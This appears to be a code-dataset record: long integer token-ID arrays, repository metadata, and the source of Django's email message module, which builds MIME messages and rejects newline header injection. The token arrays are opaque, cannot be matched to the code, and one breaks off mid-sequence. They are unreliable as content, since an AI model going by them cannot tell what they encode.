[ 3, 859, 283, 875, 7, 1553, 437, 3245, 402, 1059, 5331, 199, 199, 3, 15902, 26, 4750, 402, 314, 1233, 1265, 1937, 2348, 5712, 1133, 12252, 1202, 3063, 350, 5758, 14, 221, 8777, 199, 3, 2018, 413, 14, 22, 12, 5002, 402, 3520, 3423, 787, 6366, 465, 3102, 641, 314, 199, 3, 4465, 1059, 909, 14, 9322, 1202, 370, 506, 6366, 701, 282, 6137, 13, 262, 859, 199, 3, 2797, 410, 2675, 12, 1325, 410, 2675, 365, 3063, 24985, 6337, 14, 199, 199, 624, 7844, 1059, 13335, 21429, 14, 199, 199, 9885, 859, 2860, 26, 199, 199, 8506, 1553, 282, 1059, 3035, 1006, 4110, 8652, 8139, 199, 21636, 1553, 282, 1059, 3035, 1006, 4110, 8652, 12141, 14435, 199, 26831, 1553, 282, 1059, 3035, 1006, 4110, 8652, 22681, 14435, 199, 16415, 1553, 282, 1059, 3035, 1006, 4110, 8652, 14435, 199, 7022, 1553, 282, 1059, 3035, 1006, 4110, 8652, 6107, 7576, 199, 4097, 7022, 1553, 282, 1059, 3035, 1006, 4110, 8652, 20379, 7576, 199, 15560, 7022, 1553, 282, 1059, 3035, 1006, 4110, 8652, 30100, 7576, 199, 199, 624, 199, 504, 3598, 492, 7987, 647, 19, 75, 199, 4050, 647, 19, 75, 480, 1589, 1059, 1753, 859, 965, 2757, 4829, 315, 2018, 650, 14, 16, 401, 13232, 29, 18, 9, 199, 2264, 7987, 647, 19, 75, 199, 199, 3, 6601, 3326, 367, 16360, 13, 2487, 4528, 12505, 199, 8506, 275, 283, 971, 84, 60, 78, 60, 82, 60, 86, 60, 70, 7, 199, 21636, 275, 283, 23459, 7, 199, 26831, 275, 283, 28114, 7, 199, 16415, 275, 12141, 435, 22681, 199, 7022, 275, 283, 11371, 7, 199, 4097, 7022, 275, 7576, 435, 283, 10678, 7, 435, 283, 18820, 7, 199, 15560, 7022, 275, 283, 9461, 5308, 7, 199, 199, 3, 12425, 8603, 10897, 199, 63, 344, 1130, 275, 2125, 199, 509, 284, 315, 1425, 8, 3912, 304, 485, 344, 1130, 275, 485, 344, 1130, 435, 8678, 8, 73, 9, 199, 2264, 284, 199, 199, 3, 10257, 3079, 9025, 1561, 367, 4967, 199, 1080, 63, 705, 275, 1722, 199, 11318, 73, 63, 705, 275, 1722, 199, 292, 1618, 63, 705, 275, 1722, 199, 24504, 63, 705, 275, 1722, 199, 199, 3, 3957, 27300, 7240, 899, 14435, 370, 5117, 1930, 199, 318, 5117, 8, 83, 304, 272, 408, 2325, 8, 83, 9, 1035, 1059, 339, 1432, 282, 1331, 402, 314, 1059, 308, 6702, 370, 12141, 14, 339, 408, 272, 372, 308, 14, 2325, 342, 199, 199, 3, 7905, 5117, 1930, 14435, 370, 27300, 7240, 899, 199, 318, 7008, 8, 83, 304, 272, 408, 4142, 8, 83, 9, 1035, 1059, 339, 1432, 282, 1331, 402, 314, 1059, 308, 6702, 370, 22681, 14, 339, 408, 272, 372, 308, 14, 4142, 342, 199, 199, 3, 16666, 439, 5117, 1930, 14435, 436, 27300, 7240, 899, 199, 318, 11413, 2546, 8, 83, 304, 272, 408, 9286, 2546, 8, 83, 9, 1035, 1059, 339, 1432, 282, 1331, 402, 314, 1059, 308, 543, 7008, 1930, 4110, 272, 6702, 370, 12141, 436, 1321, 301, 809, 2231, 14, 339, 408, 272, 372, 308, 14, 9286, 2546, 342, 199, 199, 3, 19828, 9186, 436, 8520, 12187, 436, 7883, 199, 318, 6202, 8, 83, 304, 272, 408, 1913, 8, 83, 9, 1035, 1059, 339, 1432, 282, 1331, 402, 314, 1059, 308, 543, 9186, 436, 8520, 272, 8139, 4829, 14, 339, 408, 272, 372, 308, 14, 1913, 342, 199, 199, 3, 19828, 9186, 12187, 436, 7883, 199, 318, 634, 1913, 8, 83, 304, 272, 408, 10124, 8, 83, 9, 1035, 1059, 339, 1432, 282, 1331, 402, 314, 1059, 308, 543, 9186, 8139, 4829, 14, 339, 408, 272, 372, 308, 14, 10124, 342, 199, 199, 3, 19828, 8520, 12187, 436, 7883, 199, 318, 519, 1913, 8, 83, 304, 272, 408, 6735, 8, 83, 9, 1035, 1059, 339, 1432, 282, 1331, 402, 314, 1059, 308, 543, 8520, 8139, 272, 4829, 14, 339, 408, 272, 372, 308, 14, 6735, 342, 421, 199, 3, 11740, 282, 1059, 1901, 282, 769, 402, 4601, 15, 2902, 13, 12794, 5932, 199, 318, 3715, 8, 83, 12, 7375, 29, 403, 12, 1390, 1294, 29, 16, 304, 272, 408, 1294, 8, 495, 359, 12, 4127, 359, 12, 988, 1294, 3934, 1035, 769, 402, 3326, 339, 1432, 282, 769, 402, 314, 5932, 315, 314, 1059, 308, 12, 1808, 7375, 465, 314, 272, 11172, 1059, 14, 221, 982, 1390, 1294, 365, 23338, 12, 19115, 1901, 737, 4750, 272, 1390, 1294, 5932, 982, 7375, 365, 440, 2013, 12, 1263, 8139, 1059, 272, 365, 282, 9432, 14, 221, 8228, 1294, 4243, 370, 378, 14, 339, 334, 1294, 436, 3715, 955, 787, 9560, 7607, 9, 339, 408, 272, 372, 308, 14, 1294, 8, 4127, 12, 1390, 1294, 9, 199, 1294, 955, 275, 3715, 199, 199, 3, 25733, 1504, 543, 2716, 9432, 199, 318, 4263, 8, 3148, 12, 7375, 275, 283, 18927, 272, 408, 904, 8, 513, 359, 12, 4127, 566, 1035, 1059, 339, 1432, 282, 1059, 26356, 402, 314, 5932, 315, 769, 12, 543, 272, 1640, 1856, 316, 22099, 402, 7375, 14, 221, 710, 849, 9432, 365, 282, 272, 2849, 4601, 14, 339, 334, 904, 955, 436, 4263, 787, 9560, 7607, 9, 339, 408, 272, 372, 7375, 14, 904, 8, 3148, 9, 199, 904, 955, 275, 4263, 199, 199, 3, 367, 282, 12050, 4546, 402, 8112, 199, 63, 4998, 275, 4838, 199, 199, 3, 6668, 20597, 12, 746, 1919, 340, 440, 1911, 199, 318, 1478, 8, 83, 12, 627, 589, 304, 272, 408, 1080, 8, 83, 12, 1007, 359, 12, 928, 359, 12, 500, 3934, 1035, 1109, 339, 16485, 2342, 1325, 6534, 1722, 1380, 314, 20597, 365, 440, 1911, 14, 339, 408, 272, 372, 485, 4998, 8, 83, 14, 1080, 12, 1249, 9, 199, 199, 3, 6668, 2061, 20597, 12, 746, 1919, 340, 440, 1911, 199, 318, 519, 1080, 8, 83, 12, 627, 589, 304, 272, 408, 26187, 8, 83, 12, 1007, 359, 12, 928, 359, 12, 500, 3934, 1035, 1109, 339, 16485, 519, 1623, 1325, 6534, 1722, 1380, 314, 20597, 365, 440, 1911, 14, 339, 408, 272, 372, 485, 4998, 8, 83, 14, 26187, 12, 1249, 9, 199, 199, 3, 14826, 2222, 13, 31034, 22099, 402, 20597, 199, 318, 2338, 8, 83, 12, 627, 589, 304, 272, 408, 835, 8, 83, 12, 1007, 14675 ]
[ 859, 283, 875, 7, 1553, 437, 3245, 402, 1059, 5331, 199, 199, 3, 15902, 26, 4750, 402, 314, 1233, 1265, 1937, 2348, 5712, 1133, 12252, 1202, 3063, 350, 5758, 14, 221, 8777, 199, 3, 2018, 413, 14, 22, 12, 5002, 402, 3520, 3423, 787, 6366, 465, 3102, 641, 314, 199, 3, 4465, 1059, 909, 14, 9322, 1202, 370, 506, 6366, 701, 282, 6137, 13, 262, 859, 199, 3, 2797, 410, 2675, 12, 1325, 410, 2675, 365, 3063, 24985, 6337, 14, 199, 199, 624, 7844, 1059, 13335, 21429, 14, 199, 199, 9885, 859, 2860, 26, 199, 199, 8506, 1553, 282, 1059, 3035, 1006, 4110, 8652, 8139, 199, 21636, 1553, 282, 1059, 3035, 1006, 4110, 8652, 12141, 14435, 199, 26831, 1553, 282, 1059, 3035, 1006, 4110, 8652, 22681, 14435, 199, 16415, 1553, 282, 1059, 3035, 1006, 4110, 8652, 14435, 199, 7022, 1553, 282, 1059, 3035, 1006, 4110, 8652, 6107, 7576, 199, 4097, 7022, 1553, 282, 1059, 3035, 1006, 4110, 8652, 20379, 7576, 199, 15560, 7022, 1553, 282, 1059, 3035, 1006, 4110, 8652, 30100, 7576, 199, 199, 624, 199, 504, 3598, 492, 7987, 647, 19, 75, 199, 4050, 647, 19, 75, 480, 1589, 1059, 1753, 859, 965, 2757, 4829, 315, 2018, 650, 14, 16, 401, 13232, 29, 18, 9, 199, 2264, 7987, 647, 19, 75, 199, 199, 3, 6601, 3326, 367, 16360, 13, 2487, 4528, 12505, 199, 8506, 275, 283, 971, 84, 60, 78, 60, 82, 60, 86, 60, 70, 7, 199, 21636, 275, 283, 23459, 7, 199, 26831, 275, 283, 28114, 7, 199, 16415, 275, 12141, 435, 22681, 199, 7022, 275, 283, 11371, 7, 199, 4097, 7022, 275, 7576, 435, 283, 10678, 7, 435, 283, 18820, 7, 199, 15560, 7022, 275, 283, 9461, 5308, 7, 199, 199, 3, 12425, 8603, 10897, 199, 63, 344, 1130, 275, 2125, 199, 509, 284, 315, 1425, 8, 3912, 304, 485, 344, 1130, 275, 485, 344, 1130, 435, 8678, 8, 73, 9, 199, 2264, 284, 199, 199, 3, 10257, 3079, 9025, 1561, 367, 4967, 199, 1080, 63, 705, 275, 1722, 199, 11318, 73, 63, 705, 275, 1722, 199, 292, 1618, 63, 705, 275, 1722, 199, 24504, 63, 705, 275, 1722, 199, 199, 3, 3957, 27300, 7240, 899, 14435, 370, 5117, 1930, 199, 318, 5117, 8, 83, 304, 272, 408, 2325, 8, 83, 9, 1035, 1059, 339, 1432, 282, 1331, 402, 314, 1059, 308, 6702, 370, 12141, 14, 339, 408, 272, 372, 308, 14, 2325, 342, 199, 199, 3, 7905, 5117, 1930, 14435, 370, 27300, 7240, 899, 199, 318, 7008, 8, 83, 304, 272, 408, 4142, 8, 83, 9, 1035, 1059, 339, 1432, 282, 1331, 402, 314, 1059, 308, 6702, 370, 22681, 14, 339, 408, 272, 372, 308, 14, 4142, 342, 199, 199, 3, 16666, 439, 5117, 1930, 14435, 436, 27300, 7240, 899, 199, 318, 11413, 2546, 8, 83, 304, 272, 408, 9286, 2546, 8, 83, 9, 1035, 1059, 339, 1432, 282, 1331, 402, 314, 1059, 308, 543, 7008, 1930, 4110, 272, 6702, 370, 12141, 436, 1321, 301, 809, 2231, 14, 339, 408, 272, 372, 308, 14, 9286, 2546, 342, 199, 199, 3, 19828, 9186, 436, 8520, 12187, 436, 7883, 199, 318, 6202, 8, 83, 304, 272, 408, 1913, 8, 83, 9, 1035, 1059, 339, 1432, 282, 1331, 402, 314, 1059, 308, 543, 9186, 436, 8520, 272, 8139, 4829, 14, 339, 408, 272, 372, 308, 14, 1913, 342, 199, 199, 3, 19828, 9186, 12187, 436, 7883, 199, 318, 634, 1913, 8, 83, 304, 272, 408, 10124, 8, 83, 9, 1035, 1059, 339, 1432, 282, 1331, 402, 314, 1059, 308, 543, 9186, 8139, 4829, 14, 339, 408, 272, 372, 308, 14, 10124, 342, 199, 199, 3, 19828, 8520, 12187, 436, 7883, 199, 318, 519, 1913, 8, 83, 304, 272, 408, 6735, 8, 83, 9, 1035, 1059, 339, 1432, 282, 1331, 402, 314, 1059, 308, 543, 8520, 8139, 272, 4829, 14, 339, 408, 272, 372, 308, 14, 6735, 342, 421, 199, 3, 11740, 282, 1059, 1901, 282, 769, 402, 4601, 15, 2902, 13, 12794, 5932, 199, 318, 3715, 8, 83, 12, 7375, 29, 403, 12, 1390, 1294, 29, 16, 304, 272, 408, 1294, 8, 495, 359, 12, 4127, 359, 12, 988, 1294, 3934, 1035, 769, 402, 3326, 339, 1432, 282, 769, 402, 314, 5932, 315, 314, 1059, 308, 12, 1808, 7375, 465, 314, 272, 11172, 1059, 14, 221, 982, 1390, 1294, 365, 23338, 12, 19115, 1901, 737, 4750, 272, 1390, 1294, 5932, 982, 7375, 365, 440, 2013, 12, 1263, 8139, 1059, 272, 365, 282, 9432, 14, 221, 8228, 1294, 4243, 370, 378, 14, 339, 334, 1294, 436, 3715, 955, 787, 9560, 7607, 9, 339, 408, 272, 372, 308, 14, 1294, 8, 4127, 12, 1390, 1294, 9, 199, 1294, 955, 275, 3715, 199, 199, 3, 25733, 1504, 543, 2716, 9432, 199, 318, 4263, 8, 3148, 12, 7375, 275, 283, 18927, 272, 408, 904, 8, 513, 359, 12, 4127, 566, 1035, 1059, 339, 1432, 282, 1059, 26356, 402, 314, 5932, 315, 769, 12, 543, 272, 1640, 1856, 316, 22099, 402, 7375, 14, 221, 710, 849, 9432, 365, 282, 272, 2849, 4601, 14, 339, 334, 904, 955, 436, 4263, 787, 9560, 7607, 9, 339, 408, 272, 372, 7375, 14, 904, 8, 3148, 9, 199, 904, 955, 275, 4263, 199, 199, 3, 367, 282, 12050, 4546, 402, 8112, 199, 63, 4998, 275, 4838, 199, 199, 3, 6668, 20597, 12, 746, 1919, 340, 440, 1911, 199, 318, 1478, 8, 83, 12, 627, 589, 304, 272, 408, 1080, 8, 83, 12, 1007, 359, 12, 928, 359, 12, 500, 3934, 1035, 1109, 339, 16485, 2342, 1325, 6534, 1722, 1380, 314, 20597, 365, 440, 1911, 14, 339, 408, 272, 372, 485, 4998, 8, 83, 14, 1080, 12, 1249, 9, 199, 199, 3, 6668, 2061, 20597, 12, 746, 1919, 340, 440, 1911, 199, 318, 519, 1080, 8, 83, 12, 627, 589, 304, 272, 408, 26187, 8, 83, 12, 1007, 359, 12, 928, 359, 12, 500, 3934, 1035, 1109, 339, 16485, 519, 1623, 1325, 6534, 1722, 1380, 314, 20597, 365, 440, 1911, 14, 339, 408, 272, 372, 485,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
beni55/django
django/core/mail/message.py
8
16462
from __future__ import unicode_literals import mimetypes import os import random import sys import time from email import ( charset as Charset, encoders as Encoders, generator, message_from_string, ) from email.header import Header from email.message import Message from email.mime.base import MIMEBase from email.mime.message import MIMEMessage from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.utils import formataddr, formatdate, getaddresses, parseaddr from django.conf import settings from django.core.mail.utils import DNS_NAME from django.utils import six from django.utils.encoding import force_text # Don't BASE64-encode UTF-8 messages so that we avoid unwanted attention from # some spam filters. utf8_charset = Charset.Charset('utf-8') utf8_charset.body_encoding = None # Python defaults to BASE64 # Default MIME type to use on attachments (if it is not explicitly given # and cannot be guessed). DEFAULT_ATTACHMENT_MIME_TYPE = 'application/octet-stream' class BadHeaderError(ValueError): pass # Copied from Python 3.2+ standard library, with the following modifications: # * Used cached hostname for performance. # TODO: replace with email.utils.make_msgid(.., domain=DNS_NAME) when dropping # Python 2 (Python 2's version doesn't have domain parameter) (#23905). def make_msgid(idstring=None, domain=None): """Returns a string suitable for RFC 2822 compliant Message-ID, e.g: <20020201195627.33539.96671@nightshade.la.mastaler.com> Optional idstring if given is a string used to strengthen the uniqueness of the message id. Optional domain if given provides the portion of the message id after the '@'. It defaults to the locally defined hostname. """ timeval = time.time() utcdate = time.strftime('%Y%m%d%H%M%S', time.gmtime(timeval)) pid = os.getpid() randint = random.randrange(100000) if idstring is None: idstring = '' else: idstring = '.' + idstring if domain is None: # stdlib uses socket.getfqdn() here instead domain = DNS_NAME msgid = '<%s.%s.%s%s@%s>' % (utcdate, pid, randint, idstring, domain) return msgid # Header names that contain structured address data (RFC #5322) ADDRESS_HEADERS = { 'from', 'sender', 'reply-to', 'to', 'cc', 'bcc', 'resent-from', 'resent-sender', 'resent-to', 'resent-cc', 'resent-bcc', } def forbid_multi_line_headers(name, val, encoding): """Forbids multi-line headers, to prevent header injection.""" encoding = encoding or settings.DEFAULT_CHARSET val = force_text(val) if '\n' in val or '\r' in val: raise BadHeaderError("Header values can't contain newlines (got %r for header %r)" % (val, name)) try: val.encode('ascii') except UnicodeEncodeError: if name.lower() in ADDRESS_HEADERS: val = ', '.join(sanitize_address(addr, encoding) for addr in getaddresses((val,))) else: val = Header(val, encoding).encode() else: if name.lower() == 'subject': val = Header(val).encode() return str(name), val def sanitize_address(addr, encoding): if isinstance(addr, six.string_types): addr = parseaddr(force_text(addr)) nm, addr = addr nm = Header(nm, encoding).encode() try: addr.encode('ascii') except UnicodeEncodeError: # IDN if '@' in addr: localpart, domain = addr.split('@', 1) localpart = str(Header(localpart, encoding)) domain = domain.encode('idna').decode('ascii') addr = '@'.join([localpart, domain]) else: addr = Header(addr, encoding).encode() return formataddr((nm, addr)) class MIMEMixin(): def as_string(self, unixfrom=False, linesep='\n'): """Return the entire formatted message as a string. Optional `unixfrom' when True, means include the Unix From_ envelope header. This overrides the default as_string() implementation to not mangle lines that begin with 'From '. See bug #13433 for details. """ fp = six.StringIO() g = generator.Generator(fp, mangle_from_=False) if six.PY2: g.flatten(self, unixfrom=unixfrom) else: g.flatten(self, unixfrom=unixfrom, linesep=linesep) return fp.getvalue() if six.PY2: as_bytes = as_string else: def as_bytes(self, unixfrom=False, linesep='\n'): """Return the entire formatted message as bytes. Optional `unixfrom' when True, means include the Unix From_ envelope header. This overrides the default as_bytes() implementation to not mangle lines that begin with 'From '. See bug #13433 for details. """ fp = six.BytesIO() g = generator.BytesGenerator(fp, mangle_from_=False) g.flatten(self, unixfrom=unixfrom, linesep=linesep) return fp.getvalue() class SafeMIMEMessage(MIMEMixin, MIMEMessage): def __setitem__(self, name, val): # message/rfc822 attachments must be ASCII name, val = forbid_multi_line_headers(name, val, 'ascii') MIMEMessage.__setitem__(self, name, val) class SafeMIMEText(MIMEMixin, MIMEText): def __init__(self, _text, _subtype='plain', _charset=None): self.encoding = _charset if _charset == 'utf-8': # Unfortunately, Python < 3.5 doesn't support setting a Charset instance # as MIMEText init parameter (http://bugs.python.org/issue16324). # We do it manually and trigger re-encoding of the payload. MIMEText.__init__(self, _text, _subtype, None) del self['Content-Transfer-Encoding'] # Workaround for versions without http://bugs.python.org/issue19063 if (3, 2) < sys.version_info < (3, 3, 4): payload = _text.encode(utf8_charset.output_charset) self._payload = payload.decode('ascii', 'surrogateescape') self.set_charset(utf8_charset) else: self.set_payload(_text, utf8_charset) self.replace_header('Content-Type', 'text/%s; charset="%s"' % (_subtype, _charset)) elif _charset is None: # the default value of '_charset' is 'us-ascii' on Python 2 MIMEText.__init__(self, _text, _subtype) else: MIMEText.__init__(self, _text, _subtype, _charset) def __setitem__(self, name, val): name, val = forbid_multi_line_headers(name, val, self.encoding) MIMEText.__setitem__(self, name, val) class SafeMIMEMultipart(MIMEMixin, MIMEMultipart): def __init__(self, _subtype='mixed', boundary=None, _subparts=None, encoding=None, **_params): self.encoding = encoding MIMEMultipart.__init__(self, _subtype, boundary, _subparts, **_params) def __setitem__(self, name, val): name, val = forbid_multi_line_headers(name, val, self.encoding) MIMEMultipart.__setitem__(self, name, val) class EmailMessage(object): """ A container for email information. """ content_subtype = 'plain' mixed_subtype = 'mixed' encoding = None # None => use settings default def __init__(self, subject='', body='', from_email=None, to=None, bcc=None, connection=None, attachments=None, headers=None, cc=None, reply_to=None): """ Initialize a single email message (which can be sent to multiple recipients). All strings used to create the message can be unicode strings (or UTF-8 bytestrings). The SafeMIMEText class will handle any necessary encoding conversions. """ if to: if isinstance(to, six.string_types): raise TypeError('"to" argument must be a list or tuple') self.to = list(to) else: self.to = [] if cc: if isinstance(cc, six.string_types): raise TypeError('"cc" argument must be a list or tuple') self.cc = list(cc) else: self.cc = [] if bcc: if isinstance(bcc, six.string_types): raise TypeError('"bcc" argument must be a list or tuple') self.bcc = list(bcc) else: self.bcc = [] if reply_to: if isinstance(reply_to, six.string_types): raise TypeError('"reply_to" argument must be a list or tuple') self.reply_to = list(reply_to) else: self.reply_to = [] self.from_email = from_email or settings.DEFAULT_FROM_EMAIL self.subject = subject self.body = body self.attachments = attachments or [] self.extra_headers = headers or {} self.connection = connection def get_connection(self, fail_silently=False): from django.core.mail import get_connection if not self.connection: self.connection = get_connection(fail_silently=fail_silently) return self.connection def message(self): encoding = self.encoding or settings.DEFAULT_CHARSET msg = SafeMIMEText(self.body, self.content_subtype, encoding) msg = self._create_message(msg) msg['Subject'] = self.subject msg['From'] = self.extra_headers.get('From', self.from_email) msg['To'] = self.extra_headers.get('To', ', '.join(self.to)) if self.cc: msg['Cc'] = ', '.join(self.cc) if self.reply_to: msg['Reply-To'] = self.extra_headers.get('Reply-To', ', '.join(self.reply_to)) # Email header names are case-insensitive (RFC 2045), so we have to # accommodate that when doing comparisons. header_names = [key.lower() for key in self.extra_headers] if 'date' not in header_names: msg['Date'] = formatdate() if 'message-id' not in header_names: # Use cached DNS_NAME for performance msg['Message-ID'] = make_msgid(domain=DNS_NAME) for name, value in self.extra_headers.items(): if name.lower() in ('from', 'to'): # From and To are already handled continue msg[name] = value return msg def recipients(self): """ Returns a list of all recipients of the email (includes direct addressees as well as Cc and Bcc entries). """ return self.to + self.cc + self.bcc def send(self, fail_silently=False): """Sends the email message.""" if not self.recipients(): # Don't bother creating the network connection if there's nobody to # send to. return 0 return self.get_connection(fail_silently).send_messages([self]) def attach(self, filename=None, content=None, mimetype=None): """ Attaches a file with the given filename and content. The filename can be omitted and the mimetype is guessed, if not provided. If the first parameter is a MIMEBase subclass it is inserted directly into the resulting message attachments. """ if isinstance(filename, MIMEBase): assert content is None assert mimetype is None self.attachments.append(filename) else: assert content is not None self.attachments.append((filename, content, mimetype)) def attach_file(self, path, mimetype=None): """Attaches a file from the filesystem.""" filename = os.path.basename(path) with open(path, 'rb') as f: content = f.read() self.attach(filename, content, mimetype) def _create_message(self, msg): return self._create_attachments(msg) def _create_attachments(self, msg): if self.attachments: encoding = self.encoding or settings.DEFAULT_CHARSET body_msg = msg msg = SafeMIMEMultipart(_subtype=self.mixed_subtype, encoding=encoding) if self.body: msg.attach(body_msg) for attachment in self.attachments: if isinstance(attachment, MIMEBase): msg.attach(attachment) else: msg.attach(self._create_attachment(*attachment)) return msg def _create_mime_attachment(self, content, mimetype): """ Converts the content, mimetype pair into a MIME attachment object. If the mimetype is message/rfc822, content may be an email.Message or EmailMessage object, as well as a str. """ basetype, subtype = mimetype.split('/', 1) if basetype == 'text': encoding = self.encoding or settings.DEFAULT_CHARSET attachment = SafeMIMEText(content, subtype, encoding) elif basetype == 'message' and subtype == 'rfc822': # Bug #18967: per RFC2046 s5.2.1, message/rfc822 attachments # must not be base64 encoded. if isinstance(content, EmailMessage): # convert content into an email.Message first content = content.message() elif not isinstance(content, Message): # For compatibility with existing code, parse the message # into an email.Message object if it is not one already. content = message_from_string(content) attachment = SafeMIMEMessage(content, subtype) else: # Encode non-text attachments with base64. attachment = MIMEBase(basetype, subtype) attachment.set_payload(content) Encoders.encode_base64(attachment) return attachment def _create_attachment(self, filename, content, mimetype=None): """ Converts the filename, content, mimetype triple into a MIME attachment object. """ if mimetype is None: mimetype, _ = mimetypes.guess_type(filename) if mimetype is None: mimetype = DEFAULT_ATTACHMENT_MIME_TYPE attachment = self._create_mime_attachment(content, mimetype) if filename: try: filename.encode('ascii') except UnicodeEncodeError: if six.PY2: filename = filename.encode('utf-8') filename = ('utf-8', '', filename) attachment.add_header('Content-Disposition', 'attachment', filename=filename) return attachment class EmailMultiAlternatives(EmailMessage): """ A version of EmailMessage that makes it easy to send multipart/alternative messages. For example, including text and HTML versions of the text is made easier. """ alternative_subtype = 'alternative' def __init__(self, subject='', body='', from_email=None, to=None, bcc=None, connection=None, attachments=None, headers=None, alternatives=None, cc=None, reply_to=None): """ Initialize a single email message (which can be sent to multiple recipients). All strings used to create the message can be unicode strings (or UTF-8 bytestrings). The SafeMIMEText class will handle any necessary encoding conversions. """ super(EmailMultiAlternatives, self).__init__( subject, body, from_email, to, bcc, connection, attachments, headers, cc, reply_to, ) self.alternatives = alternatives or [] def attach_alternative(self, content, mimetype): """Attach an alternative content representation.""" assert content is not None assert mimetype is not None self.alternatives.append((content, mimetype)) def _create_message(self, msg): return self._create_attachments(self._create_alternatives(msg)) def _create_alternatives(self, msg): encoding = self.encoding or settings.DEFAULT_CHARSET if self.alternatives: body_msg = msg msg = SafeMIMEMultipart(_subtype=self.alternative_subtype, encoding=encoding) if self.body: msg.attach(body_msg) for alternative in self.alternatives: msg.attach(self._create_mime_attachment(*alternative)) return msg
bsd-3-clause
[ 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 13290, 199, 646, 747, 199, 646, 2196, 199, 646, 984, 199, 646, 900, 199, 504, 3031, 492, 334, 272, 5960, 465, 29392, 12, 10295, 83, 465, 3447, 2693, 83, 12, 4306, 12, 1245, 63, 504, 63, 875, 12, 199, 9, 199, 504, 3031, 14, 1291, 492, 10240, 199, 504, 3031, 14, 1188, 492, 6430, 199, 504, 3031, 14, 7626, 14, 1095, 492, 14735, 1563, 199, 504, 3031, 14, 7626, 14, 1188, 492, 14735, 2209, 199, 504, 3031, 14, 7626, 14, 10123, 492, 603, 30596, 1141, 2064, 199, 504, 3031, 14, 7626, 14, 505, 492, 603, 26567, 199, 504, 3031, 14, 1208, 492, 1475, 2697, 12, 1475, 602, 12, 664, 7423, 12, 2198, 2697, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 1198, 14, 1208, 492, 10237, 63, 2339, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 505, 199, 199, 3, 7529, 1133, 19721, 772, 13, 2143, 9094, 13, 24, 3788, 880, 626, 781, 5126, 625, 19361, 22814, 687, 199, 3, 2005, 14909, 4766, 14, 199, 1624, 24, 63, 6043, 275, 29392, 14, 28200, 360, 1624, 13, 24, 358, 199, 1624, 24, 63, 6043, 14, 2030, 63, 2991, 275, 488, 221, 327, 2018, 4243, 370, 19721, 772, 199, 199, 3, 3758, 14735, 730, 370, 675, 641, 18912, 334, 692, 652, 365, 440, 7662, 1627, 199, 3, 436, 3913, 506, 29950, 680, 199, 3472, 63, 23890, 1244, 4479, 63, 17057, 63, 2711, 275, 283, 3578, 15, 18162, 13, 1745, 7, 421, 199, 533, 8857, 26599, 8, 3393, 304, 272, 986, 421, 199, 3, 29622, 5299, 687, 2018, 650, 14, 18, 11, 4465, 3555, 12, 543, 314, 2569, 23070, 26, 199, 3, 627, 8051, 6328, 6246, 367, 10238, 14, 199, 3, 3254, 26, 3350, 543, 3031, 14, 1208, 14, 1875, 63, 15245, 8, 703, 12, 2881, 29, 12323, 63, 2339, 9, 1380, 366, 20148, 199, 3, 2018, 499, 334, 4718, 499, 1159, 1015, 3181, 1133, 1172, 2881, 2725, 9, 15196, 9803, 1717, 680, 199, 318, 1852, 63, 15245, 8, 344, 875, 29, 403, 12, 2881, 29, 403, 304, 272, 408, 3407, 282, 1059, 11233, 367, 7329, 7294, 1081, 1013, 22676, 6430, 13, 998, 12, 325, 14, 71, 26, 339, 665, 1840, 4999, 614, 1167, 1367, 1465, 14, 13793, 1355, 14, 30689, 3172, 32, 14873, 31170, 14, 416, 14, 391, 1207, 1435, 14, 957, 30, 339, 4879, 1305, 875, 340, 1627, 365, 282, 1059, 1202, 370, 410, 15796, 287, 314, 272, 15439, 31820, 402, 314, 1245, 1305, 14, 221, 4879, 2881, 340, 1627, 6571, 314, 272, 18046, 402, 314, 1245, 1305, 2410, 314, 10267, 1370, 221, 2779, 4243, 370, 314, 17738, 272, 3247, 6246, 14, 272, 408, 272, 900, 637, 275, 900, 14, 521, 342, 272, 19314, 602, 275, 900, 14, 6205, 3508, 57, 5, 77, 5, 68, 5, 40, 5, 45, 5, 51, 297, 900, 14, 22227, 8, 521, 637, 430, 272, 4422, 275, 747, 14, 17829, 342, 272, 29722, 275, 2196, 14, 20539, 8, 15274, 9, 272, 340, 1305, 875, 365, 488, 26, 267, 1305, 875, 275, 2125, 272, 587, 26, 267, 1305, 875, 275, 7815, 435, 1305, 875, 272, 340, 2881, 365, 488, 26, 267, 327, 26678, 4440, 2838, 14, 362, 18364, 342, 2348, 3140, 267, 2881, 275, 10237, 63, 2339, 272, 17879, 275, 18342, 83, 4111, 83, 4111, 83, 5, 83, 19437, 83, 3524, 450, 334, 5834, 602, 12, 4422, 12, 29722, 12, 1305, 875, 12, 2881, 9, 272, 372, 17879, 421, 199, 3, 10240, 1561, 626, 1395, 21781, 2287, 666, 334, 14468, 327, 21, 15858, 9, 199, 12368, 63, 21178, 275, 469, 272, 283, 504, 297, 272, 283, 8114, 297, 272, 283, 8102, 13, 475, 297, 272, 283, 475, 297, 272, 283, 2055, 297, 272, 283, 21976, 297, 272, 283, 264, 1150, 13, 504, 297, 272, 283, 264, 1150, 13, 8114, 297, 272, 283, 264, 1150, 13, 475, 297, 272, 283, 264, 1150, 13, 2055, 297, 272, 283, 264, 1150, 13, 21976, 297, 199, 93, 421, 199, 318, 367, 17949, 63, 3029, 63, 604, 63, 2139, 8, 354, 12, 1139, 12, 2644, 304, 272, 408, 1858, 66, 1580, 3510, 13, 604, 2323, 12, 370, 7981, 1406, 315, 8923, 1041, 272, 2644, 275, 2644, 503, 2202, 14, 3472, 63, 23969, 272, 1139, 275, 3542, 63, 505, 8, 637, 9, 272, 340, 1557, 78, 7, 315, 1139, 503, 1557, 82, 7, 315, 1139, 26, 267, 746, 8857, 26599, 480, 2567, 1338, 883, 1133, 1395, 14930, 334, 7808, 450, 82, 367, 1406, 450, 82, 2924, 450, 334, 637, 12, 536, 430, 272, 862, 26, 267, 1139, 14, 2143, 360, 4371, 358, 272, 871, 24094, 26, 267, 340, 536, 14, 2325, 342, 315, 16271, 4564, 1608, 63, 21178, 26, 288, 1139, 275, 1656, 1987, 904, 8, 18177, 63, 1562, 8, 2697, 12, 2644, 9, 355, 367, 5552, 315, 